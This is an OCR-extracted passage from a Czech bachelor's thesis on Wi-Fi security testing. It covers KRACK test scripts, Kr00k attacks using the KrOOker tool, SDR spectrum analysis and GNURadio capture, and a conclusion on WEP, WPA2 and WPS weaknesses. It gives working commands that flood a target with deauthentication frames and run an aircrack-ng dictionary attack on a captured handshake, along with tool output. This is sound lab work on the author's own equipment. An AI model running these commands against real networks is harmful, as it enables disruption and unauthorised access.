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root@osboxes: ~/krackattacks-scripts/krackattack - o %

File Edit View Search Terminal Help
Association test: “

If nothing seems to happen, the AP likely doesn't support FT
Association succesful, starting test.

Enter AP IP address:
192.168.1.1
Starting new terminal with wpa cli

# g io module get default: Found default implementation gvfs (GDaemonVfs) for ‘gio-vfs’

# g io module get default: Found default implementation dconf (DConfSettingsBackend) for
‘gsettings-backend’

# watch fast: "/org/gnome/terminal/legacy/" (establishing: ©, active: )

# unwatch fast: "/org/gnome/terminal/legacy/" (active: ®, establishing: 1)

# watch_established: "/org/gnome/terminal/legacy/" (establishing: ©)

In the newly opened terminal type 'scan results' to see other APs.
Type 'roam MAC', where MAC is the MAC address of an AP, that's in the same network (same
SSID) as the one being tested.

Terminal e ® O

File Edit View Search Terminal Help
wpa cli v2.9
Copyright (c) 2004-2019, Jouni Malinen =<j@wl.fi> and contributors

This software may be distributed under the terms of the BSD license.
See README for more details.

Interactive mode

-1

Obr. 4.44: Druha faze testu AP a utilita wpa_ cli

4.8 Kr00k

K testovani utoku Kr0Ok lze pouzit utilitu KrOOker. Staci ji stahnout ze zdrojové

stranky napriklad pomoci:
git clone https://github.com/akabel/krOOker

Tim je vytvorena slozka se skriptem. Utilita bude sledovat provoz mezi AP a
klientem a pokusi se provést utok Kr0Ok, a pokud je cil zranitelny, vysledkem by
mély byt desifrované pakety. KrOOker dokaze tutocit jak na AP, tak na klienta v
zavislosti na uzivatelové volbé.

Pro ttok na klienta lze pouzit prikaz:
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python3 krOOker.py -i wlanO -b F4:EC:38:B2:55:F2 -c
20:47:DA:16:A0:17 -t client

Argument ,-i“ specifikuje rozhrani, ,-b*“ je bssid AP, ,-¢* je MAC adresa klienta
a -t je cil utoku. Zaroven je potfeba pripojit klientské zarizeni k danému AP a
zacit simulovat vétsi provoz. Toho lze dosahnout aplikaci Packets Generator, jak je
vidét na obrazku 4.46. Klient posle velké mnozstvi TCP pakett, které by se mély
zacit objevovat v bufferu WiFi ¢ipu. Pak lze pouze ¢ekat na utilitu, dokud se ttok
nezdari.

KrO0Oker opakované posila klientovi zadosti o odpojeni a tim se snazi dosdhnout
stavu, kdy zarizeni potencidlné posle pakety zasifrované samymi nulami. Schéma
utoku Ize vidét na obrazku 4.45. Vystup programu v tomto pripadé pak lze vidét na
vypisu 4.16. Jedna se pouze o ¢ast celého vypisu, i po nékolika minutach se pouze
opakovala stejna hlaska. Je vidét, ze se ocividné utok nezdaril, utilita opakované
posila zadosti, coz se projevilo i na zafizeni, které se konstantné od AP odpojuje,
nikdy vsak nedojde k desifrovani paketii. Je velmi pravdépodobné, Ze zarizeni neni

zranitelné.

Vypis 4.16: Vypis utility KrOOker pfi testovani klienta

[11:22:47.131889] [+] The Client device 20:47:da:16:a0:17 will be the
target
[11:22:51.157609] [+] Disassociation frames (reason 7) sent to target
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2
[11:22:55.169286] [+] Disassociation frames (reason 7) sent to target
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2
[11:22:59.180474] [+] Disassociation frames (reason 7) sent to target
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2
[11:23:03.192174] [+] Disassociation frames (reason 7) sent to target
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2
[11:23:07.203012] [+] Disassociation frames (reason 7) sent to target
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2
[11:23:11.214044] [+] Disassociation frames (reason 7) sent to target
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2
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Buffer paketd:
Paket A, Paket B Sifrovana komunikace )
N Paket A, kli¢ = TK
Kli¢ = TK AP
Deautentizacni Krooker:
paket vy$le deautentizagni
paket
Buffer paketd: ]
Paket B Sifrovana komunikace . er_OOker.
— o _ —p| zkusi deSifrovat paket B
Paket B, kli¢ = 00000... omoci TK=00000
KIi& = 00000.. P =
A Krooker:
obsah paketu B
—
TR
Klient Testovaci PC

Obr. 4.45: Schéma utoku na Kr00k na klientské zatrizeni

Utok na AP lze spustit pifkazem:

python3 krOOker.py -i wlanO -b F4:EC:38:B2:55:F2 -c
20:47:DA:16:A0:17 -t ap

Vypis 4.17: Vypis utility KrOOker pri testovani AP

[14:06:30.601712] [+] The AP f4:ec:38:b2:55:f2 will be the target
[14:06:34.620425] [+] Disassociation frames (reason 7) sent to target
:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17
[14:06:38.633556] [+] Disassociation frames (reason 7) sent to target
:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17
[14:06:42.647456] [+] Disassociation frames (reason 7) sent to target
:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17
[14:06:46.660545] [+] Disassociation frames (reason 7) sent to target
:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17
[14:06:50.671261] [+] Disassociation frames (reason 7) sent to target
:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17
[14:06:54.680027] [+] Disassociation frames (reason 7) sent to target
:ec:38:b2:55:f2 as sender endpoint 20:47:da:16:a0:17

f4

f4

f4

f4

f4

f4
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ackets Generator

Transmission Control Protocol
TCP Syn traffic

Local IP:
Target IP:  192.168.1.1

Target port : v/ Random

Number of packets: 1000

Number of times: 10

This app is for educational
purposes only. Use it at your own risk!

Obr. 4.46: Aplikace Packet Generator

Postup je stejny jako u predchoziho testu, tentokrat vsak misto TCP paketi
budou poslany ICMP pakety. To by mélo zpusobit hromadéni odpovédi na tyto
pakety v bufferu AP. Po poslani zadosti o odpojeni utilitou KrOOker by tak mohlo
dojit ke Spatnému zasifrovani téchto odpovedi.

Na vypisu 4.17 lze vidét, ze ani AP utoku nepodlehlo a utilita nedokazala desif-
rovat zadné pakety. D4 se tak predpokladat, ze AP neni zranitelné vaci AP.

Na obrazku 4.47 pfevzatém z github stranky utility [47] pak je vidét, jak by
meél vypis vypadat pri dtoku na zranitelné zatizeni. Je vidét, zZe utilita dokazala

desifrovat alespon dva pakety.
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Obr. 4.47: Vypis utility KrOOker pri tspésném ttoku [47]

4.9 Testovani pomoci SDR

Specifickou oblasti pak je prozkoumani moznosti SDR v ramci testovani WiFi siti.
Jak jiz bylo naznaceno SDR nabizi dvé moznosti. Bud pomoci néj lze analyzovat
fyzickou vrstvu bezdratové komunikace, anebo pomoci SDR emulovat WiFi adaptér.

Instalace nutnych drivert a softwaru je popsana v kapitole Software pro SDR.

4.9.1 Analyza fyzické vrstvy

Pro analyzu fyzické vrstvy bude vyuzit program SDRSharp spustény ve Windows
prostfedi. SDRSharp umozni vidét, jak je naptiklad spektrum ovliviiovino WiFi
provozem. Toho se teoreticky da vyuzit ke zkoumani ruseni WiFi signalu, coz muize

byt i urcity typ utoku.
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Prvnim krokem po zapnuti SDRSharp je s potfebnymi pluginy je nastaveni, které
je zde ovSsem velmi jednoduché. Jako zdroj je vybran LimeSDR, program by si jej
poté mél najit sam. Kliknutim na ikonu nastaveni lze upravovat prijem SDR.

Dobrym testem toho, zda SDR funguje spravné, je zkusit poslech FM radia,
c¢emuz je SDRSharp dobfe prizptisobeny. Hlavni obrazovka SDRSharp obsahuje dva
grafy — spektralni analyzator a vodopadovy graf. Horni graf ukazuje zavislost sily
signalu na frekvenci, zatimco spodni vodopadovy graf navic urcuje i zavislost téchto
dvou veli¢in na case.

Bohuzel béhem tohoto testu se zacal projevovat jeden problém, a to konkrétné
velmi slaby zisk SDR. V rdmci pdsma FM vysilani (tedy 87,5 - 108 MHz) §lo zachytit
jen nékolik extrémné slabych signalt. Tato skuteénost mtze byt zptisobena mnoha
problémy. Nabizi se nastaveni v aplikaci LimeSuite, kde 1ze provést urc¢itou kalibraci
zisku, ovsem faktem je, ze v LimeSuite nelze nastavit o mnoho vice, nez by mély
nastavovat samotné aplikace. Kalibrace tak nic nevytesila.

Jelikoz se stejny problém objevoval i v dalsich testech, bylo vyzkouseno nékolik
verzi driveri v ramci obou pouzivanych operacnich systémi, opakované reinstalo-
vani softwaru, ruzné nastaveni, ale zadné z téchto reSeni nezabralo. Ani vyména
SDR za jiné SDR stejného modelu nepomohlo. Problém se tak bohuzel nepodarilo
vyresit, a protoze bylo LimeSDR jediné SDR, ke kterému byl pri tvorbé prace pri-
stup, vytvoril tak velké omezeni. Jedinym vysvétlenim, které zbyva a dava urcity
smysl, je hardware samotny, a to konkrétné prilozené antény, které jsou velmi malé
a da se predpokladat, ze i pomérné slabé. Bez dalSich testl toto vSak nelze s jistotou
potvrdit.

V ramci pasma kolem 24 GHz, na kterém komunikuje AP lze i ptes slaby zisk
pozorovat urcitou aktivitu. Velmi zde pomaha fyzickd blizkost SDR a AP. Pokud je
AP pouze zapnuté a klient je k nému pripojeny bez zadného vétsiho provozu (viz
obrazek 4.48), lze pozorovat obcasné pulzy silnéjsiho signalu v okoli frekvence 2,415
GHz, coz odpovida kanalim 1 a 2. Tyto pulzy jsou s nejvétsi pravdépodobnosti
zachycené jednotlivé pakety. Toto lze dokazat kratkodobym simulovanim néjakého
provozu. Jako priklad lze na klientovi provést prihlaseni k AP. Tato aktivita by se
pak méla odrazit ve vétsi koncentraci pulzi na spektru, jak je vidét na vodopadovém
grafu na obrazku 4.49.

Pro jesté lepsi demonstraci pak lze na klientovi simulovat velky provoz, opét
pomoci aplikace Packet Generator. Po spusténi intenzivniho posilani TCP paketii
lze vidét mnohem vyssi a stalou silu signalu na spektru, jak je vidét na vodopadovém
grafu na obrazku 4.50.

V ramci tohoto testu, tak lze demonstrovat a pozorovat WiFi komunikaci v
podobé samotného radiového signalu. Pozorovani spektra lze teoreticky pouzit k de-

tekei, ¢i naopak generovani, ruseni WiFi komunikace. Tyto typy utoki jsou technicky
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velmi tézko detekovatelné, SDR se v tomto ohledu jevi jako idealni nastroj.

SDR# v1.0.0.1732 - LimeSDR.

EEH0 2.415.105.223 @

- 2016 - wE(

A Wy WMy gl mm” A s A o) i A A w\,’."'w,v gy
5 ;lr ALY W .ﬂ Wi ¥ | Iy ol V \ ! . W

13cm Ham Band

Obr. 4.48: Aplikace SDRSharp - spektrum WiFi komunikace
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4.9.2 Testovani pomoci GNURadio

Jak bylo popsano v kapitole Testovaci programy, do programu GNURadio 1ze pridat
doplnék gr-ieee802-11. Balicek obsahuje nékolik blokt uréenych k pfijmu a zpraco-
vani WiFi komunikace. Jsou zde také pritomny jiz vytvorené modely, které umozni
zakladni fungovani WiFi zarizeni — prijem a odesilani paketi. Tyto predem vy-
tvorené modely se pak nachazi ve slozce ,examples®. Pokud je bali¢ek nainstalovan
manuélné skrze Github, nachazi se ve slozce ,, gr-ieee802-11 /examples” jejiz umisténi
pak zavisi na manualni instalaci. Pokud je bali¢ek nainstalovan pomoci PyBOMBS,
nachézi se modely ve slozce ,src/gr-ieee802-11/examples”, kterou je mozné najit v
instalacni slozce GNURadia.

Jako prvni je vSak potieba spustit model ,wifi phy hier.grc“. Bez tohoto kroku
by pak ostatni modely nefungovaly. Dale je také nutné spoustét GNURadio s pravy
root protoze jinak by program mohl mit problém komunikovat s pfipojenym SDR.

V terminalu lze GNURadio spustit prikazem:
pybombs run gnuradio-companion

V programu ted lze otevrit jednotlivé modely. Po otevieni ,wifi phy hier.grc*
je nutno provést funkci ,Generate flow graph®, kterou lze najit v horni listé. Tato
funkce vytvori skript ,wifi_ phy_ hier.py“, kterou pak ostatni modely vyuzivaji.

Jako prvni test je dobré zkusit model ,,wifi loopback.grc®. Tento test nasimuluje
WiFi komunikaci v podobé loopback smycky nezavisle na SDR. Vystupem by pak
meély byt zachycené pakety, které lze zobrazit ve Wiresharku. Je tak otestovano,
zda bloky funguji, jak maji a zda je vSe nainstalovano spravné. Nejdiive je potieba
vytvorit tento soubor. Aby slo simultanné zachytavat a zobrazovat pakety, musi byt

soubor typu FIFO (First In First Out). Lze jej vytvorit prikazem:
mkfifo /tmp/wifi.bin

Dana cesta jde samoziejmé zménit, ale je pak nutné ji zménit i v modelu. Poté
uz lze spustit model. Nejdiiv je opét potieba vytvorit skript pomoci ,Generate the
flow graph® Spusténi samotné je pak provedeno pomoci ,Execute the flow graph®
V této chvili uz by model mél do souboru ukladat pakety. Zobrazeni ve Wiresharku

pak lze provést prikazem:

wireshark -k -i /tmp/wifi.bin

(13

Argument ,-i“ znadi, ze soubor je typu FIFO. Celkovy vystup lze vidét na ob-
razku 4.51. V levém okné je Wireshark a jsou zde zobrazeny zachycené pakety. V
pravém okné je GUI modelu. Je zde zobrazen konstela¢ni diagram, ktery reprezen-
tuje modulovany signal. Loopback tedy funguje, a da se tak predpokladat, ze bloky

jsou funkéni.
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Obr. 4.51: Model wifi_ loopback.grc a vystup v aplikaci Wireshark

Zéachyt opravdové bezdratové komunikace lze provést napriklad modelem ,,wifi_ rx.grc®
Opét je zde moznost propojeni s Wiresharkem stejnym zptisobem jako u predchoziho
modelu. V zakladu je v modelu pouzit jako zdroj blok ,UHD: USRP Source“, ten
by si vSak nerozumél s LimeSDR. Tento blok je tedy nahrazen blokem ,LimeSuite
Source (RX)“, je potfeba poté dbat na spravné zapojeni bloku do modelu. Model
nabizi vybér prijimaného kandlu a protokolu. V tomto ptripadé to tedy je kandl 1 a

protokolem 802.11g, stejné nastaveni je provedeno i pro AP.
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Po spusténi modelu a Wiresharku by se opét mély zacit zobrazovat zachycené
pakety a v GUI modelu by mél byt vidét modulovany signal. Bohuzel, to se nikdy v
ramci testovani nepovedlo. Na obou grafech modelu je vidét pouze Sum (viz obrazek
4.52), Wireshark pak ukazuje prazdny soubor.

Zjistit, v ¢em spociva problém, neni lehké. Da se predpokladat, ze je to vysledek
slabého zisku SDR, podobné jako u analyzy spektra, a jelikoz se tento problém
nepodarilo vyTesit, s experimentem nelze pokracovat.

Na pouze teoretické roviné by pak testovani probihalo nasledujicim zptsobem.
Pomoci modelu by doslo k zachyceni CtyTcestné vymeény autentizace WPA mezi AP
a klientem. Zda tomu tak je, 1ze provérit ve Wiresharku. Soubor se zachycenym pro-
vozem je pak preveden do formatu ,,.pcap®. Pak uz staci spustit aircrack-ng a provést
slovnikovy utok. V BackBox lze vyuzit slovniku ,,password.lst“, ktery pouziva utilita

John. Prikaz by pak vypadal:

aircrack-ng /tmp/wifi.pcap -w /usr/share/john/password.
1st

Za predpokladu, ze se pouzivané heslo nachazi ve slovniku, by jej aircrack-ng mél
najit. Timto zplsobem tak byl pomoci SDR nasimulovan ttok na WiFi pouzivajici
autentizaci WPA nebo WPAZ2. Stejné tak by Sly simulovat i dalsi utoky, i kdyz
je mozné, ze by zde doslo k problémtm spojenym s potencialni nekompatibilitou
GNURadia a testovacich utilit.

Je tedy bohuzel tireba konstatovat, ze tento experiment s SDR nebyl tspésny,
i tak se vsak jednd o zajimavou technologii, kterda by k testovani WiFi mohla byt
vyuzita.

Pri srovnani SDR a WiFi adaptéru sice teoreticky vychéazi SDR jako univerzal-
néjsi nastroj, prakticky se vsak da rict, ze pro klasické testovani zabezpeceni je lepsi
zustat u klasickych adaptért. Technologie, ktera SDR umozni adaptér nahradit sice
existuje, ale otazkou je, v ¢em je takovy zptisob testovani lepsi. Testovaci software je
vétsinou vytvaren k pouziti s adaptéry a stejné tak WiFi adaptéry jsou vyrabény k
praci s WiFi. Je také potieba zminit, Ze obecné jsou adaptéry levnéjsi nez SDR. Vy-
hodou SDR je pak moznost sledovani radiového spektra. To by mohlo prinést nové

zpusoby testovani; jako zajimavy napad se naptiklad jevi detekce ruseni signalu.

4.10 Shrnuti testovani bezpecnosti

V ramci testovani bezpecnosti byly provedeny tutoky na protokoly WEP, WPA2
a WPS. Byl vybran vhodny hardware a software. Vétsina testt byla provedena v
operacnim systému Kali a vyuzivala nékteré ze zakladnich testovacich programi,

které tento systém nabizi. Jako testovaci hardware byl pouzit testovaci pocitac,
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WiFi adaptér a Softwarové definované radio. Byla vytvorena jednoducha sit sklada-
jici se z klientského zafizeni — smartphonu a pristupového bodu - routeru. Pomoci
testovaciho softwaru a hardwaru pak byla tato sit otestovana.

U protokolu WEP byly provedeny ttoky na Shared Key autentizaci, itok na
sifrovani WEP a utok Caffe Latte. K témto utoktm byla vyuzit testovaci program
aircrack-ng. Prvni dva ttoky dopadly uspésné, utok Caffe Latte byl neispésny. Byly
tak prakticky demonstrovany hlavni zranitelnosti tohoto protokolu a ukazano, jakym
zpusobem jeho bezpecnost testovat.

U protokolu WPA2 byl otestovan slovnikovy ttok na slabé heslo a utok Kr00k.
Dale byly testované zarizeni otestovany na zranitelnost KRACK. Slovnikovy ttok
byl proveden nékolika zpiisoby za pomoci utilit aircrack-ng a Cowpatty. VSechny
testy produkovaly zadouci vysledek a odhalily pouzivané heslo. Byla tak prokazana
zranitelnost sité pouzivajici slabé hesla a doslo k demonstraci testovani takové sité.
Utok Kr00k byl proveden pomoci utility Kr0Oker, pomoci niz bylo ukdzdno, Ze tes-
tovana zafizeni nejsou vic¢i tomuto ttoku zranitelnd. Bylo demonstrovano, jak tuto
zranitelnost ovérit.

Zranitelnost KRACK byla nejprve ovérena testovacimi skripty krackattack-scripts.
Byl ukézan postup instalace a postup pri testovani. Vicéi KRACK jsou zranitelna
jak uzivatelska zarizeni, tak pristupové body vyuzivajici sluzby Fast Transition. V
pripadé testovani nebyl pouzit pristupovy bod, ktery tuto sluzbu vyuziva, a tak ne-
bylo mozno tento test dokoncit. Pomoci skriptt tak bylo ukazano, ze obé zafizeni
nejsou zranitelna.

Daéle doslo k navrhnuti a naprogramovani vlastni utility, ktera tyto testovaci
skripty zuzitkuje. Utilita vyuzije vstupu uzivatele k automatizovanému provedeni
testovacich skripti. Umi provést testy klientskych zatizeni i testy pristupovych bodi.
Dokaze vytvorit potfebné konfiguracéni soubory, resit nestandardni stavy a jejim vy-
stupem je celkova evaluace bezpecnosti zarizeni. Tato utilita byla ve findle otestovana
a byla ukazana jeji funkcnost.

V poslednich testech byla prozkouméana moznost vyuziti Softwaroveé definovaného
radia (SDR) k testovani bezpecnosti WiFi. Nejdrive pomoci néj doslo k analyze radi-
ového spektra v oblasti kmitoc¢tt pouzivanych WiFi sitémi. Zde byla ukazana moz-
nost vyuziti SDR k detekci sily signalu. Nakonec byl ozkouSen doplnék do programu
GNURadia, ktery pridava moznost zachytavat a zpracovavat WiFi komunikaci. U
obou test byl nalezen problém velmi nizkého zisku SDR. Test v GNURadiu se tedy
nepovedl a pomoci SDR nikdy nedoslo k zachyceni WiFi komunikace, coz znemoz-
nilo dalsi testovani. Celkové tak doslo k demonstraci slabin protokolti IEEE 802.11

a byly ukazany metody k testovani téchto slabin.
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Zaveér

Tato bakalarska préace se zabyva problematikou testovani bezpecnostnich protokola
v rodiné standardt IEEE 802.11. Kybernetickd bezpecnost je velmi zhavé téma a
vzhledem ke stale rostouci popularité bezdratovych Wi-Fi siti bude otazka jejich
téchto siti posila, hraje testovani jejich bezpecnosti velmi zasadni roli v ramci celého
IT.

Starsi standard WEP je naprosto odstrasujicim ptikladem, jak Tesit bezpecnost
dat. V ramci analyzy tohoto protokolu byly v praci vytyceny hlavni zranitelnosti
a vektory utokti. WEP naprosto selhava jiz od samého zacatku komunikace mezi
uzivatelem a routerem. Jeho autentizace Shared Key je dokonce tak nebezpecna,
ze je lepsi ji kompletné vypnout a uzivatele neautentizovat. Protokol také selhava
v otazce zajisténi integrity a duavérnosti dat, jelikoz uto¢nik muze s prenasenymi
daty manipulovat, aniz by byl detekovan. I samotné Sifrovani je naprosto nedosta-
cujici, Spatna implementace Sifrovactho algoritmu, a predevsim Spatné generovani

I s ohledem na dobu, ve které byl WEP vydan, je nutno se pozastavit nad tim,
jak takovy protokol viibec mohl byt standardizovan.

Reseni prinesl protokol WPA, respektive WPA2. Jeho autentizace je velmi bez-
pecna, dokéaze zajistit integritu a duvérnost a Sifrovani je jen tézko prolomitelné.
Pomyslnou Achillovou patou tohoto protokolu je fakt, ze jeho sila je vzdy pouze
amérné sile zvoleného hesla. Spatné zvolené a slabé heslo déla protokol jen malou
prekazkou pro utocnika. Dalsim problémem miize byt fakt, Ze po ziskani hesla mtize
utocnik ¢ist i komunikaci, kterd neni uréend jemu.

Dalsim, co se tyce bezpecnosti, ne uplné stastné fesenym protokolem je WPS.
Tento protokol, jehoz cilem bylo zjednodusit uzivatelim praci s nastavovanim siti
a ktery je nastavbou na predchozi protokoly, ma potencidl udélat i WPA2 sif s
tim nejsilnéjsim heslem lehce prolomitelnou. To, dohromady s lenivosti nékterych
vyrobct routert, kteri ignoruji zakladni pravidla pro bezpe¢nou implementaci tohoto
protokolu, zptisobuje to, Ze je doporuceno funkci WPS zakazat a nepouzivat ji.

Resenfm vSech téchto problémit by mohl byt na horizontu vyhliZejici protokol
WPA3, ktery se pomalu, ale jisté objevuje jako bezpecénostni protokol Wi-Fi siti.
Tento protokol fesi mnoho problému spojenych s WPA2. Prozatim je jeho podpora
pomérné nizka, ale ¢asem bude stoupat a da se predpokladat, ze v pristich letech
se stane dominantnim bezpecnostnim standardem. Bohuzel i u tohoto protokolu jiz
byly objeveny zranitelnosti. Ukazuje se tak, ze navrh bezpecnostnich protokoli je
velice obtizny tkol.

Jak bylo demonstrovano v této praci, testovani bezpecnosti dnes jiz neni prilis

101



obtiznou zalezitosti a ke zneuziti analyzovanych zranitelnosti staci lehce dostupny
hardware a software. V ramci praktické casti byly ukazany testovaci utility jako
aircrack-ng, reaver a dalsi. Spolecné s operacnim systémem Kali Linux, ur¢enym k
penetracnimu testovani, tvori pomérné solidni platformu pro evaluaci bezpecnosti
danych siti. Pro ucely testovani zafizeni vici zranitelnosti KRACK doslo k vytvoreni
vlastni utility, kterd automatizuje a zjednodusuje proces testovani. Utilita splnila
svou ulohu a bylo demonstrovano jeji vyuziti.

V dalsi ¢asti prace doslo k praci se Softwarové definovanym radiem. Jedna se o
technologii, ktera by se k testovani bezpecnosti dala vyuzit. I kdyz testy samotné
nebyly prilis tspésné, existuji urcité oblasti, kde se SDR muze stat mocnym nastro-
jem pro evaluaci zabezpeceni sité. SDR predevsim nabizi moznost zkoumani fyzické
vrstvy a analyzu bezdratového signalu. V porovnani s tradicnimi WiFi adaptéry, tak
SDR ma urcité vyhody, ovsem momentalné se jevi jako jistéjsi pouzivani adaptéri.

Miize se zdat, ze zabezpecit bezdratovou sit je témér nemozné a nema to smysl,
ale neni tomu tak. Pokud jsou dodrzovana uré¢itd pravidla, zvolena silnd hesla, vy-
pnuty nebezpecné protokoly jako WPS, je mozné vytvorit sif, do které neni jednodu-
ché proniknout. Navic je vzdy lepsi mit alespon néjaké zabezpeceni nez viibec zadné.
Je potreba si uvédomit, Ze na ném zalezi bezpecnost a soukromi i téch nejcitlivéjsich
dat.
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